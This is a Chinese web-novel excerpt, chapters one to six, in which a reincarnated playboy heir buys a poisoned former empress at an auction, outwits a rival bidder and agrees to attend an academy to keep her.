《纨绔世子,捡个女帝当老婆》
第一章 前朝女帝
景国。
青田县拍卖行。
“诸位贵宾,接下来要拍卖的是本次拍卖会最后一件……”
“少爷少爷,这最后一件拍卖品听说非常特殊,您猜会是什么呢?”
齐枫看了眼身边十六七岁满脸期待的婢女小荷,有些感慨。自己前世医武通神,本以为已至顶峰,没想到还是没能扛过那最后一道雷劫,被劈的穿越过来成了这齐家纨绔大少,每天不是斗鸡走狗,就是游街架鸟,无聊至极的生活让他远不及一个婢女过得快活。
此时旁边一道刻意压低的嗓音响起:“齐枫,我警告你,这件大轴你最好不要给我捣乱,否则我跟你没完!”
齐枫看过去,说话的人名叫张韬,是和他极不对付的张家二少爷。
张家和齐家并称青田县三大家族,一年前齐枫和这张二少爷在青楼因为一名娼女争风吃醋最后大打出手以至结下仇怨,从那之后见面就要冷嘲热讽几句。
他只看了一眼便没有理会。
就在这时候拍卖师口中的最后一件商品被人推上台,大厅内响起一片哗然之声。
齐枫就见拍卖行的人推上来一个铁笼,定睛一看那铁笼之中竟然关押着一个人。
准确的说是一个女人!
女子身着粗布衣裙,尽管衣着简陋却依旧掩饰不住她那玲珑有致的身材,只是这会儿她却无力地靠在铁笼边上,眼神黯淡无光似乎得了重病。
再看女子的面容,顿时现场爆出一阵惊呼,显然都有些不可思议。
女子左半张脸充斥着筷子头大小的红色疮点,看的人只觉得瘆得慌直犯恶心。
按理说这样一张面孔不应该作为大轴出现在这次拍卖会上,但如果看另外半张脸就能知道原因了。
铁笼中女子的另外半张脸实在太美了,即便是齐枫也忍不住多看两眼,他前世纵横天下屹立巅峰不知道多少绝色尤物排着队投怀送抱。
但此刻看着笼中女的右脸,也不得不感慨一声,完美!
终于有人忍不住问出来:“这究竟是怎么回事,这女子左脸怎么了?”
“就是,**这右脸看的老子想犯罪,再看左脸老子只想逃跑!”
张韬的反应最为激烈:“这女子的脸究竟是怎么了!”
他原本得到消息,这次拍卖会的大轴是一名绝世美人,因此这才来参加打算将其拍下来讨好一位大人物。
但现在美人是美人,却只美一半,这不恶心人吗?
“诸位静一静,静一静!”
拍卖师安抚着众人的情绪,听着客人的骂娘声心里直嘀咕,要不是这大美人得了重病,轮得到卖给你们吗?
他开口:“诸位贵宾,相信大家伙也都看到了,这笼中女子的另外半张脸,的的确确可以称得上是绝色尤物。”
“不瞒各位说,这女子当下是得了重病导致身上出现了这样的红疮,本拍卖行这段时间想了许多办法都没有能治好她的病症。”
“若是你们当中某位能够治好她的病,那将其拍下之后可就是白得了一个大美人啊。在她没有得病之前,在下见过她完整的容貌,毫不夸张的说,那真是仙女下凡倾国倾城堪称绝世尤物啊。”
听了拍卖师的话,众人这才恍然大悟明白过来,看着笼中女毫无生气的模样,都觉得有些惋惜。
张韬开了口:“赵明大夫看过没有?”
他口中的赵明,是青田县最好的大夫。
拍卖师咳嗽一声:“看过,甚至于就连一些州府的大夫,本拍卖行也请来治疗过,但他们都无能为力,不过诸位放心,经过他们的诊断,都认为这女子至少还有三个月的寿命。”
“只要在这三个月间,你们能够治好她,那可就能够抱得美人归了,现在我宣布拍卖开始,起拍价五百两……”
二楼。
拍卖行老板看着现场,有些期待的等着众人竞价。
他是
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一个月前意外得到那女子的,当时见到简直惊为天人,立马就想要占为己有。
结果还没等他下手女子就得了重病,请了不少大夫都无济于事,只能趁着现在女子还活着用来拍卖,榨干对方剩余的价值了。
“五百两!”
拍卖师的话刚落下就有一名男子出价,虽然另外半张脸有些惨不忍睹,但还有三个月的时间能治,退一步说就算治不了。
大不了办事的时候把那半张脸挡住,只看另外半张就行了!
但显然带有同样想法的人不止一个,很快就有人跟着出价。
“五百五十两!”
“六百五十两!”
“七百两!”
席间。
齐枫把玩着手里的竞价牌,似乎有种想要出价的样子,贴身婢女小荷见状,忍不住低声道:“少爷您也要出价吗?”
齐枫轻笑:“为什么这样说?”
“奴婢看那位姐姐好像都没有什么活下去的念头一样,看起来有些可怜。”
小荷回应着,想当年她也是差不多的境遇,身患重病小小年纪**葬父母,但好在她遇上了齐枫,见她可怜就出手将她买了下来。
因此看到这和当年相似的情景,才会忍不住有感而发。
“天底下可怜的人多了。”
看了一眼铁笼中的女子,齐枫啧了一声,这女子治好之后的确是倾国倾城,想到这他再度把玩起手中的竞拍牌。
竞价声不断传出,已经被抬到了一千两,听着这些声音,被关在铁笼中的楚清秋内心的只觉得万分**。
她从未想过自己竟然会是这样一个下场,如果不是此刻患病虚弱无力,身子又被锁住,她会毫不犹豫**。
楚清秋。
这是个注定要在史书上留下痕迹的名字。
因为她是古往今来唯一一名女子帝王!
在位仅仅三个月,险些力挽狂澜的前朝**女帝!
楚清秋!
第二章 竞拍
一年前曾经统御九州的乾国分崩离析内忧外患不断。
相邻的景国抓住机会掀起战火,短短半年的时间就攻陷了乾国三州之地,就连御驾亲征的乾国新君都被活捉了。
最后甚至**地被景军抬到了乾国都城劝降。
就在人心惶惶之际,身为长公主的楚清秋站了出来,在城头一箭射杀了自己的兄长,阵前继位自封为帝,凝聚人心。
带着帝都中最后三万禁军和景军殊死一搏。
足足两个多月的时间没有走下都城一步一直奋战在最前线,亲自带人打退了无数次敌军的进攻。
但无奈的是纵然她楚清秋如何天纵奇才,可乾国大势已去败局注定。
帝都之中更是出现内鬼暗中趁夜打开了城门放敌军入城。
虽然在亲信的拼死护卫下她冲出了帝都,可终究还是没能力挽狂澜,成了乾国的**之君,在位仅仅三个月。
如今昔日的乾国已经成了景国。
当今天子亲自颁布圣旨下令通缉她楚清秋。
她逃亡的这段时间一直东躲西藏,心中始终不忘复国,可凭借她一个人的力量想要达成目的无疑是天方夜谭。
而在逃亡的期间她不幸染病,拖着疲惫的身躯来到青田县周边的时候终于不堪重负病倒在路边。
这才被路过得拍卖行当家意外救下。
结果拍卖行的人,在问不出她的来历身份之后,立马就将其当成了黑户处理。
也好在她身患重病了,否则现在恐怕早已经被送去哪个大人物榻上成了玩物。
但也正因为身患重病,复国无望。
她此刻就像小荷说的一样完全丧失了活下去的信念,如今她只等着恢复行动能力,接着以身殉国。
就在这时候一道志在必得的声音,打断了众人磨磨唧唧的竞价。
“两千两!”
不少人看向声音传来的方向,齐枫瞟了一眼,是张韬这个家伙。
他犹豫半天终于还是下定决心试一试,并且一开口就是两千两,目的就是告诉众人笼中那个女人他张韬要了。
看着铁笼中的楚清秋,张韬沉眉。
用两千两巨款去买一个只有三个月寿命的女子,这行为怎么看怎么像**。
但张韬却有自己的考量。
只要家中那枚价值万两的丹药能够治好这女子的病,再将其献给那位大人物。
那么张家的荣华富贵可就来了,自己也能够因此立下大功,成为张家下任家主的不二人选,这个机会值得一试!
想到这个女子或许能够帮自己得到偌大的张家,张韬心里就一阵兴奋。
两千两的价格顿时震慑住了不少想要再竞价的人,一些恭维声响起。
“不愧是张家二少啊,一出手就是两千两!”
“开玩笑,要不说是咱们青田县三大家族之一的张家呢,这份财力让人望尘莫及啊。”
拍卖师更是兴奋的拿起拍卖槌:“两千两一次!”
“两千两第二次!”
“两千两第三……”
就在拍卖师要一锤定音的时候,一个慵懒的嗓音响起:“两千两零一文。”
声音并不大,却足够让拍卖师听清楚。
大厅之中瞬间安静下来,拍卖师目瞪口呆地看着举着牌子的齐枫,愣愣道:“齐少爷,您您刚刚出价多少?”
“两千两零一文。”齐枫懒洋洋道。
得到齐枫的确认,周遭人顿时露出一副看好戏的表情,眼神落在了张韬那铁青的脸上带着不少戏谑。
“混蛋齐枫,你是什么意思!”
张韬怒了,自己出两千两,眼看就要拍下那女子,这王八蛋出来搅局也就算了,偏偏还只多出一文钱,这不是羞辱自己是什么!
齐枫不在意道:“什么什么意思?本少爷看上这姑娘了,出价不行啊?”
“你这分明是故意的!齐枫我劝你最好不要和我争下去,否则这样下去对大家伙都不好。”
张韬
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眼神阴沉。
“怎么,这拍卖行是你张家开的?我出价竞拍都不行?你要没钱就老实待着,别在这跟疯狗一样咬人。”齐枫嗤笑。
他的话将张韬气了个半死,“老子没钱?两千五百两!”
二楼的拍卖行老板乐了,心里简直爱死齐枫了,没想到不仅没有砸手里,而且看这个势头,齐枫已经将张韬搞上头了!
今天要大赚一笔了!
“两千五百两零一文。”面对张韬的出价,齐枫再度懒洋洋的出价。
“三千两!”
“三千两零一文。”齐枫出价。
张韬怒:“四千两!”
眼看两人杠上了,周边的人都来劲了,看热闹不嫌事大。
“张二少,继续啊可别输了!”
“齐大少爷果然财大气粗啊!同时三大家族,齐大少爷好像比张二少更有实力啊!”
“我去,张二少出到五千两了!”
张韬双眼通红已经被齐枫撩拨的失去了理智,恨不得现在就上去痛扁一顿眼前这可恶的王八蛋。
五千两!
这个报价惊呆了周围看戏的人。
足足五千两,这价格可太高了,普通老百姓全家人一年到头最多也就挣个一二十两。
所有人都看着齐枫,等待着他出价,不曾想齐枫诡异一笑,拍手鼓掌道:“好好好,不愧是张家二少爷,出手就是五千两,我佩服你,这个女人我让给你了。”
顿时张韬傻眼了,眼中的红色消散不少,目瞪口呆地看着齐枫:“你说什么!”
齐枫翘起二郎腿:“我说让给你了啊,你不是出价五千两吗?给钱吧。”
“草!你**玩我!”张韬差点气吐血,中了这王八蛋的计了!
齐枫笑:“没错,我就是在玩你,不行吗?诶拍卖师还等什么,赶紧落锤啊。”
“王八蛋!”
张韬气急败坏地骂着,眼看拍卖师就要听齐枫的话就要落锤,他赶忙开口:“等等!”
第三章 捡漏
五千两!
就算他是张家二少爷也拿不出来啊!
他们张家虽然和齐家并列青田县三大家族,经营着不少作坊和生意,但真说起来一年盈利就在十万两左右。
如果只是两三千,倒是轻轻松松。
原本他都想好了,最多花个两千五六,将铁笼中的楚清秋拍下来。
这是他能够承受的极限,结果被齐枫撩拨上头了,一个没注意就叫到了五千两!
张家一年给他的月供零用也没有这么多啊,就算是两千五六,他都还得找家里拿一部分。
而现在却变成了五千两。
尤其是这五千两还是用来买一个重病的女子,这要是真买下来让他爹知道了,他张韬就算不死也得脱层皮!
更别说,治疗楚清秋还需要用到他们张家珍藏的那枚价值万两的神丹妙药。
都还不一定能够治好,这前期投资也太大了!
所以张韬哪里敢让拍卖师成交。
拍卖师皱眉:“张二少爷怎么了?”
张韬急忙道:“我刚才说错了,我不是要出价五千两。”
听到这话众人顿时传来鄙夷的目光,这家伙竟然想要在拍卖行赖账?
这还要不要脸了?
齐枫阴阳怪气道:“张二少爷,你这话什么意思,咱们这么多人刚刚可都听着呢,你最后出价就是五千两,你难不成是想要赖账?”
“我……你放屁!”
张韬气得牙痒痒,但他绝不能承认,冷哼一声:“老子什么时候说要赖账了,但我刚刚就是说错话了!”
拍卖师忙道:“张二少爷这不合规矩啊。”
“什么狗屁规矩,难道老子说错一句话都不行!”
就算是耍无赖也不能认账!已经打定主意的张韬用手指着铁笼中的楚清秋喝道:“而且你瞧瞧,这女子那半张脸烂成什么德行了,你以为本少爷是**吗?会用五千两买这么个丑女!不怕得病啊!”
铁笼中的楚清秋看了一眼张韬,并没有流露出什么异样,换做往常如此侮辱她,她一定会砍了对方。
但现在她已经没有了心气。
“老子就是一时间嘴快说错话而已,你们拍卖行还要强买强卖啊!”
张韬这一通胡搅蛮缠下来,拍卖师也知道这小子是铁了心不认账了,当下只能看向二楼自个老板所在的方向。
老板暗骂一声,他也没想到张韬居然这么不要脸,大庭广众下耍无赖。
但碍于张韬的身份也不好多说什么,毕竟是张家的人,张家和拍卖行还有着些许生意往来,他也只能捏着鼻子认下。
当下从二楼走出,道:“既然张二少爷说自己说错话了,那就当说错了吧,这最后的拍卖我来主持。”
从拍卖师中接过了拍卖锤,老板有些不爽道:“现在重新竞拍,不过诸位,出价之前可得好好想一想了。”
张韬脸一红,虽然没有明说,但老板的这句话明显就是说给他听的。
说完老板看向齐枫,带着些许试探:“那齐大少爷,咱们从四千两零一文开始重新竞拍吧。”
四千两零一文是齐枫出的最后价格,如今张韬赖账,他自然是希望齐枫用这个价格买下笼中的楚清秋,好让自己大挣一笔。
而且按照他对齐枫的了解,他笃定齐枫不会拒绝的。
只是这次他注定要失望了。
“刘老板是觉得,本少爷比张韬好欺负?”齐枫似笑非笑的说道。
拍卖行老板愣住,看着齐枫的表情,他内心不禁疑惑。
这向来人傻钱多的齐枫怎么了?他不是最喜欢装阔气了?
既然齐枫这样说了,他只能改口,讪笑道:“齐大少爷说笑了,我怎么会有那个意思?那就按原价重新起拍。”
但他也留了个心眼重新制定了竞拍规矩:“现在重新开始拍卖,笼中女子起拍价五百两,每次出价不得低于一百两。”
这是用来防止齐枫再用一文来恶心人。
他的话音一落,所有的客人基本上都看向了齐枫和张韬,想要看这两人会不会继续掐起来。
张韬有些犹豫,现在重新竞拍,他可以再出价了,可是他又怕齐枫捣乱,要是再被抬到骑虎难下的地步又该如何?
总不能再赖账一次吧?
众人迟迟没有出价,就在刘老板以为要流拍的时候,齐枫懒洋洋道:“五百两。”
张韬眼皮一跳,恰好齐枫这时候看向他,玩味道:“张韬,你不加价吗?”
这王八蛋,肯定又想坑老子!
张韬心里暗骂一声,偏过头去假装没听见。
见他没有出价,刘老板有些失望,接连三声之后宣布了齐枫用五百两拍下了笼中的楚清秋。
齐枫轻蔑一笑,“连抬我的价都不敢,没种儿的东西。”
王八蛋!
旁座的张韬气的脸色涨红双拳紧握。
拍卖行大堂。
拍卖会已经结束了,看着齐枫领着小荷坐在一边。
俏丫头没想到齐枫最后真的掏钱拍下了那看着可怜的女子,觉得自家少爷依旧那么仁慈的同时又有些担忧。
“少爷,今天可是老爷回来的日子,
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要是被老爷知道了,您怕是又要被责备了。”
齐枫却显得不在意:“没事。”
作为齐家大少,前身是文不成武不就,小小年纪对于吃喝玩乐遛狗斗鸡却是无一不精。
对此,齐家老爷那真是恨铁不成钢,因此在确定他没救了之后,原本打定主意不再生孩子的齐老爷,立马和小妾创了个小号。
至于他齐大少,齐老爷就一个要求,别惹事生非,活着就好。
这时候张韬也出现,看着齐枫和小荷顿时恨得咬牙切齿:“齐枫,今天的事我记下了,咱们没完!”
今天脸可是丢大了,传出去少不得要被责罚。
齐枫嗤笑一声,都没有出声搭理,这样的沉默应对简直是最大的羞辱。
张韬气得就想要再开口,拍卖行的老板已经带着人出现。
“齐大少爷,人带到了,这名姑娘现在是你的了。”
看着那行尸走肉一般的虚弱无力的楚清秋,对方双手还带着拍卖行的镣铐,用来防止她逃跑,这会儿老板正把钥匙交给齐枫。
张韬突然冷笑起来:“**一个,竟然花五百两买这么个离死不远的赔钱货,齐枫你果然是咱们青田县第一废物。”
“你不是废物你刚刚怎么出价五千两?诶不对,张二少爷是说错了。”齐枫阴阳怪气的回应。
张韬脸色涨红,随后就听齐枫轻笑:“再说了,别人治不好她的病,可不代表我治不好。”
听到这话,楚清秋瞳孔微动,张韬也愣了一下,心里生出些许不妙,但一看说出这话的是齐枫他顿时笑了,轻蔑道:“就凭你这个废物?治好这女人的病?简直是笑话!”
“你别被感染了和她一样全身烂疮,本少都算你命大!”
拍卖行的老板不高兴了:“张少爷你这话是什么意思,这姑娘的病要是会传给他人,那我是不是也早就生烂疮了?我们拍卖行从不会做对顾客不好的事情!”
张韬愕然,反应过来自己说错话了,忙找补:“刘老板,你别忘心里去,我不是那个意思。”
“知道,张少爷只是说错了。”刘老板冷哼一声。
张韬当即脸色通红,已经没脸再继续待下去,恶狠狠地瞪了齐枫一样,但对方却连个眼神都没有回应。
依旧是用无视羞辱。
张韬便更加愤怒,只是忽然间他想到什么,原本凶狠的眼神变成了恶毒,嘴角也带着些许冷笑。
“齐枫,你继续蹦跶嚣张吧,反正也没几天好活的了,我看你死的时候还能不能这么淡定!”
第四章 二选一
张韬撂下狠话后便得意地离开了。
一旁的小荷有些担忧和不满,看着张韬离去的背影眉目满是幽怨:“少爷,他这话什么意思啊?这不是在咒您吗,实在太过分了。”
“现在不是说这个的时候。”齐枫将钥匙拿出,缓慢地朝着楚清秋走去。
楚清秋透过散落的头发微微抬眸,在看到齐枫走来时,身子微怔,一脸的警惕。
只见她连连后退,抬起眸子与齐枫对视的瞬间,恐惧又故作坚强地看着齐枫,那张煞白的小脸若不是一半生了红疮,定然会美艳四方。
“你放心,我只是想解开你的锁链。”
“你别害怕,我家少爷是好人,不会害你的!”一旁的小荷连忙附和道。
只见齐枫缓慢的蹲下身子,在听到“啪嗒”一声时,锁链打开了。
一旁的小荷有些不解,微皱着眉道:“少爷,您就不怕她跑了吗?”
“本少爷从不为难人,所以本少爷给你选择的机会,是想走还是想留在我身边伺候我?”
楚清秋微微一愣,显然有些不敢置信,若是换作寻常人恐怕根本不会给她活着的机会,即便是活着也是行尸走肉一般。
但眼下自己完全没有生存的能力。
眼前的这个男人先前说能将自己的红疮治好,这莫不是真的?
楚清秋下意识地打量着齐枫,齐枫依旧吊儿郎当地站着一边挖着耳屎一边等待着她的回答。
见着他这模样,楚清秋的心中的戒备才放下了少许。
她先前见过不少纨绔子弟的模样,与齐枫的状态差不多,说不定自己能将其拿捏也说不准。
楚清秋低垂着脑袋,缓慢地伸出手拉住了齐枫的衣袖开口道:“你先前说能将我医治好,是真的吗。”
“不过小事一桩。”
听到齐枫的回答后,楚清秋眸子顿时闪过一丝亮光,即便眼前人看起来不靠谱,可若是能有一丝机会的话,她也不愿放弃!
再者,以她现在的状态适合蛰伏。
楚清秋决定赌一把,抬眸看向齐枫,眸子里满是坚定。
“我,我跟你走。”
得到满意回答的齐枫微微勾唇。
“很好,那我们回家吧。”
小荷很是高兴,连忙搀扶着楚清秋跟随在齐枫的身后,一路上都在讲齐枫怎样怎样的好。
而此刻,齐家府中。
“那个逆子呢!这都什么时辰了,还要让我们等他吗!”饭桌上齐震**气冲天,愤愤地拍着桌子。
一旁的小妾连忙道:“哎呀,老爷您别气啊,枫儿的性子你还不了解吗。”
齐震天更加恼火了“啪”的一声,怒拍桌。
“莫不是我这些天出门在外,他都这般行事!?我可没有教过他这般不识规矩!锦娘不是我说你,你这么宠他,他就要废了!”
“孩子还小嘛!”
“本少爷我回来咯!”齐枫得意洋洋地走进前厅中,本以为会听到丫鬟小厮的欢迎声,却不想他们一个个面面相觑,脑袋低得极低,大气不敢出一声。
这让齐枫觉得很是无趣。
“喂,喂,喂,你们干嘛啊。”
一旁的小荷连忙暗戳戳的戳了一下齐枫,示意着齐枫望前方看去。
只见齐震天手里拿着家法,正怒气冲冲地看着他。
“你这小子还知道回来!?”话落,他又看到了站在一侧的楚清秋,在看到楚清秋身上的红疮时,他吓得一激灵。
“什!什么情况,你又买人了,还买了一个这么丑的女人!?说你花了多少银两!”齐震天扬起手中的家法指着齐枫道。
“没,没有多少啊,五十两买的。”齐枫举起双手一脸惶恐的连连后退。
齐震天当然不相信,将家法对准了小荷:“你如实说,少爷究竟花了多少银两!”
小荷心中一个咯噔,顿时有些不知所措了起来,说也不是不说也不是,整个人害怕极了。
“哎呀哎呀好了!不就区区五百两吗,我们家有的是钱,怕什么!”
听到这数额齐震天差点一口气没上来,他捂着心口,拿着家法的手不断颤抖着指着齐枫。
“区区五…
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…五百两!?怕什么?你这小子不赚钱不知道赚钱难是吧,五百两你就买了一个丑女人!?”
齐枫一脸无所谓地摊了摊手。
“买了都买了,还能怎么样。”
齐震天气急了,举起家法朝着齐枫跑去,齐枫连忙东躲西藏。
“你这逆子!现在立刻马上给我把这女人卖掉!”
齐枫躲在锦娘的身后,料定他不敢下手,立马朝着齐震天道:“买都买了,还卖什么啊。”
锦娘也护着齐枫。
“是啊老爷,枫儿也没做什么伤天害理的事,随他吧。”
“锦娘!连你也这样,这样下去我齐家的产业怎么办,谁来继承!”
齐枫一脸无所谓。
“你和姨娘再生一个不就好了吗。”
齐震天气得差点吐血。
“此事没得商量!要么你滚出齐家,要么你把这丑女人卖了!”
齐枫一听,这还得了,若是离开了齐家他还怎么做一个废物,怎么做一个寄生虫?
“爹,这事就不能有商量的余地吗,干嘛要将一切闹得不愉快嘛……”
齐震天气逐渐缓过来后,双眸一转像是想到了什么一般。
“你当真想留下这个女人?”
“买都买了,再给人卖出去又说不过去,指不定还回不了本。”齐枫道。
“也行,只不过我有一个要求。”齐震天这会儿也不恼了。
一听到这齐枫顿时两眼泛光。
“什么要求,爹你说!”
“你要想留下这个女人,那你就得去书院读书,若不然就滚出齐家,你只有这两个选择。”
“啊!读书!?”齐枫顿时心生不满,上辈子医武神通站在了世界的制高点,他早就乏了,这辈子难得生在了个富贵人家,就想做个纨绔公子吃喝玩乐好好躺平,竟然还要让他读书?
齐枫瞥了一眼楚清秋,只见楚清秋将自己的身子蜷缩着懦弱的站在一侧,整个人显得孤立无援又楚楚可怜,在对视上她的视线时,不免能看到她眼中含着的泪水。
“哎呀!!”
第五章 **禾
齐枫看向齐震天。
“爹啊,你看人家多可怜,咱家这么多人无非再多了一张嘴,您又不差钱。”
齐震天气得闭上双眸,深吸了一口气,不争气地看着自家儿子冷哼了一声。
“就是因为不差钱,所以才养成了你这胡来的性子!什么丑人病人你都敢往家里带!”
“我现在懒得和你废话,给你半天的时间好好考虑!若不然我就让家丁给你收拾包袱一同扔出门外!”齐震天恶狠狠地说完后直接转身离开。
一旁的锦娘叹了口气,也连忙跟上了他的步伐劝他消消气。
齐枫早就会料到自家爹会将他训斥一顿,但也没想到会这么决绝,让他二选一。
齐枫坐在石凳上手肘撑着石桌,陷入了苦恼。
他总不能因为一个买来的女人就放弃自己锦衣玉食的奢华生活吧,这也没理由啊,若是将她留下,自己又得去那枯燥无味的书院上学。
这不是要他命吗。
眼下最好的办法就是妥协,随意将她安置一处地吧。
心中打定主意的齐枫叹了口气,随即朝着楚清秋看去。
却不想见到楚清秋泪眼朦胧,眼泪吧嗒吧嗒地不断掉落,即便她脸上的红疮占了大半可让人看了还是不免觉得楚楚可怜惹人怜悯。
一旁的小荷一脸的心疼,连忙上前不断安抚着。
“姑娘你别哭,别哭,我们少爷人很好的,既然他买了你,那一定不会轻易放弃你的!”
齐枫听着小荷这话,立马故作深沉的咳了咳。
这小丫头什么时候会给他扣这么高的帽子了!?
楚清秋的声音有些哽咽,不断抽泣着:“我,我知道,都怪我,不然也不会让恩人您陷入两难的境地,既然这世间容不下我,那我……我……”
楚清秋越说越绝望,身子无力地跌坐在地,一旁的小荷看着心疼极了,上前想要将她扶起又道:“那,那你的家人呢?”
楚清秋低垂着脑袋,情绪低落至极摇了摇头:“我没有家人,他们全**。”
小荷惊讶地捂着嘴,才意识到自己说错了话,随即又一想到自己以前的境遇与她相同,眼眶不由得红了起来。
“我不会让恩人你为难,您能将我买下已经是大恩了,我会自己离开的。”说完,楚清秋踉踉跄跄的起身,奈何她的身子骨娇弱至极,走几步就好像随时昏倒一般。
齐枫看着楚清秋的背影心中烦躁得很,妥协与不妥协两股力量不断在脑里打架。
仔细一想,读书对于他来说也没什么,无非就是虚度光阴敷衍了事,让本来有趣的日子变得更加无聊罢了。
但若是齐震天看到自己这般没学识文化不求上进后,指不定也就会放弃让自己读书的念头,那日后自己岂不是更能逍遥快活了?
算了,就当他这好人做到底吧,这五百两总不能白花了。
“你等一下,既然本少爷说过要将你这一身红疮治好,那自然是会说到做到。”
楚清秋脚步一顿,心中忍不住暗爽,她赌对了。
只见楚清秋缓缓回头,那带着泪珠的双眸柔弱又委屈。
即便如此,齐枫还是敏锐的捕捉到了楚清秋难掩勾起的一丝嘴角。
这家伙是在演他?
“真,真的吗,我,我真的可以留下来吗,但这样……会不会让公子你感到为难?”
“无碍,既然是本少爷买来的人没有说再放走的道理。”
“小荷,你先带她下去去梳洗一番吧。”
小荷一听很是高兴,连忙应声,随即来到了楚清秋的身边满面笑意道:“你看,我就说了吧,我家少爷是个好人,你别怕。”
而齐震天在得知齐枫情愿去书院也要留下那个丑女人时,是又气又欣喜。
“老爷,算了,至少枫儿也愿意入学堂,这是好事,至于那个女人就随他吧,他做这种事也不是一天两天了,本性不坏就好。”
听着锦娘这话齐震天连连叹气:“锦娘你啊,就宠着他吧,都无法无天了,既然他愿意去学堂确实也是一件好事。”
而楚清秋梳洗一番过后,整个人更显气血和美艳,即便她脸上的红疮占据半边脸
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,可依旧挡不住她那本身就好看的底子。
她笔直的站在门外,双眸淡然毫无波澜望着天空也不知在想什么,只是那纤细瘦小背影略显悲寂与凄凉。
在与齐枫对上眼时,眼里散发着一股生人勿近的距离和冷漠感,与刚刚那楚楚可怜的模样天差地别,但很快她又隐藏了去。
齐枫阅人无数,又怎会看不出她眼中的情绪?却也不点破。
“恩人,你来了。”
齐枫上下打量着楚清秋,搓了搓自己的下巴:“不错嘛,这一身打扮很适合你。”
楚清秋当然不喜齐枫那略微猥琐的审视,但人家屋檐下,不得不先低头!
“多亏了恩人,不然我也不会……”楚清秋说着便微微垂了垂眸。
“日后叫我少爷就好,对了,你叫什么。”
“**禾。”楚清秋脸不红心不跳的道。
“好名字。”
就在这时,小荷匆匆赶来,脸上满是欣喜。
“少爷,少爷,老爷说他已经给你联系好书山书院了,明天您就可以去报道啦!”小荷一想到自家少爷日后要成为饱读诗书,满腹经纶的文化人,心中便忍不住的欣喜。
在她看来会读书写字作诗的人都是有才学,令人仰慕的存在,如今自家少爷也能受此熏陶,她当然高兴!
齐枫却怎么也高兴不起来,青田县一共有三大书院,青川书院、永阳书院、书山书院。
青川和永阳书院一直以来一直在争一二,也是青田县最为出名的两个书院,也几乎是所有富家子弟名门贵女挤破脑袋都想争取名额进入的书院。
但青川不看身份,只看学识文采,除了看学识文采,还得通过其的三大考验,这无疑也是给了一些平民子弟一些读书的机会。
而书山书院不同,只要你有钱就可以随意进,以至于书山书院一直是垫底的存在。
“行了我知道了,这并不是什么可喜可贺的事。”齐枫就像是颓靡了一般,倏地像是想到了什么,对着楚清秋道。
“青禾你过来,让我看看你的红疮。”
第六章 齐哥救救我!
楚清秋弱弱走到齐枫面前。
掀开袖子,露出一大片带着红色斑点的手臂,手臂上还带着几道触目惊心的疤痕。
齐枫盯着那几道疤痕若有所思。
他心里很明白,只有长刀重力从上往下砍,才会造成如此疤痕。
而**禾一个女子,身上怎么会有这种伤痕?
齐枫抬头看了一眼**禾,嘴角带着淡笑:“你这伤有点严重啊。”
楚清秋有些委屈,眼泪在眼眶打转:“我……我这是在逃跑的时候被一群山贼碰到,要不是路上遇到官府的人救了我一命,只怕都到不了青田县。”
“原来如此,没看出来你运气这么好啊?”齐枫打趣道。
打趣的同时三根手指搭在楚清秋的脉搏上。
他知道面前这女人没有说真话,不过这都不重要,他买下来其只是顺手为之。
他可不相信自己真的就如同小说主角那样,随便买下一个人就是某家族落魄千金,或是背景显赫的一方大佬。
楚清秋暗自松了口气,以为自己瞒天过海。
她看着双眼紧闭,专心致志把脉的表情,心里老有一种说不出来的感觉。
毕竟齐枫给她的感觉就是一个纨绔大少,这种人真的会治病吗?
真的不是在和自己打趣吗?
突然,齐枫睁开眼睛,死死盯着楚清秋,嘴唇微动。
“你……**了?”
“什么?我**了?”
楚清秋脸色大变,她可是前朝女帝,虽说是**女帝,可谁会给自己下毒?又油水敢给自己下毒?
“你不知道?”
齐枫更是震惊。
“这种是我们常说的毒草,长期服用会导致人浑身乏力,色素沉淀,导致你的皮肤出现红色斑点。”
“看你这情况,你**都有两年左右的时间。”
“不过这种**是大夫就能检测出来,你为什么会不知道?”
齐枫很是头疼,这种毒说难不难,说简单也不简单。
主要是治疗的时间太长,不是短期内可以解决的。
“你是说我已经中了两年的毒?”楚清秋更是满脸震惊。
她可是前朝女帝,居然有人能在暗中对她使用慢性**。
最关键的是宫中的那些太医居然没有一个人检测出来。
这让她不得不多想,怪不得她最后一战的时候会突然乏力,恐怕国家覆灭的背后是有人在推波助澜。
一瞬间,楚清秋挎着个脸,眼泪几乎要流出来:“少爷,那这种毒……”
她很聪明,齐枫能检测出来她**,那就说明其是真的有治疗她的能力。
齐枫轻笑:“无妨,这种毒很好解决,只是你**太深,大概需要半年时间才能完全排除体内。”
“半年之后你体内的毒素会全部排除,你身上的红色斑点也会随之一起消失。”
“半年时间?”
楚清秋松了口气,在她看来,半年时间完全可以接受,自己现在身体不适,正好适合蛰伏起来。
“小兔崽子,你还不去收拾?”
不知道什么时候站在背后的齐震天冷冷开口。
齐枫一个激灵,拍了下脑门:“老爹,我都答应去书院了,你怎么还说我啊!”
“哼,让你去书院是为你好,你以为我是让你去玩的?王猛坐了三年的县令,距离五年的换任只有两年时间。你要是两年后能考上秀才,老子我保你坐上县令的位置!”
“啥?”
齐枫瞪大眼睛,不可置信的看向齐震天:“老爹你没开玩笑吧?我们家就是一个种地的,你怎么还想让我做官了啊?”
他是真的无奈,好不容易能摆烂,结果还要被人赶鸭子上架。
“你以为我为什么非要让你去学院?”
“你真以为咱们家有点土地就了不起了?”
“那张家垄断了青田县的商业,赵家的赌坊和酒楼都快开到老子脸上了!”
“你要是再不努力一点,咱们家的家业迟早被他们两家吞并。”
“到时候,你还想锦衣玉食?还想在家里混吃等死?”
齐震天恨铁不成钢的开口。
他已经给自
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己的儿子铺好了前边的路,奈何自己愣是一步都不走。
要不是一直弄不出来小号,他才不管齐枫怎么样在外面疯狂呢。
“好了好了老爹,我知道了,我肯定能考上秀才的!”齐枫站起来保证道。
看到这一幕,齐震天冷哼一声转身走了出去。
小荷满脸崇拜的凑了上来:“哇,少爷您真的能考中秀才吗?”
齐枫满脸懵逼:“谁说我可以考上秀才的?”
“少爷您不是刚才说一定能考上秀才的嘛……”小荷有点无奈。
这人怎么连自己刚说的话都能忘了。
齐枫摆摆手:“能去读书就不错了,哪里来的这么多要求。再说了,那张家大少不是自诩自己是青田县第一才子吗?本少爷倒是觉得打上去比考上去要简单的多。”
楚清秋更是满脸不忿:“刚才老爷不是说已经将前面的路都打通了吗?少爷你只要考上秀才,肯定就可以做官了啊!”
这一刻的她,觉得齐枫完全就是烂泥扶不上墙,但刚才那一手医术确实惊艳了她,一时间居然不知道如何评价对方。
齐枫笑容更甚:“打通什么打通?”
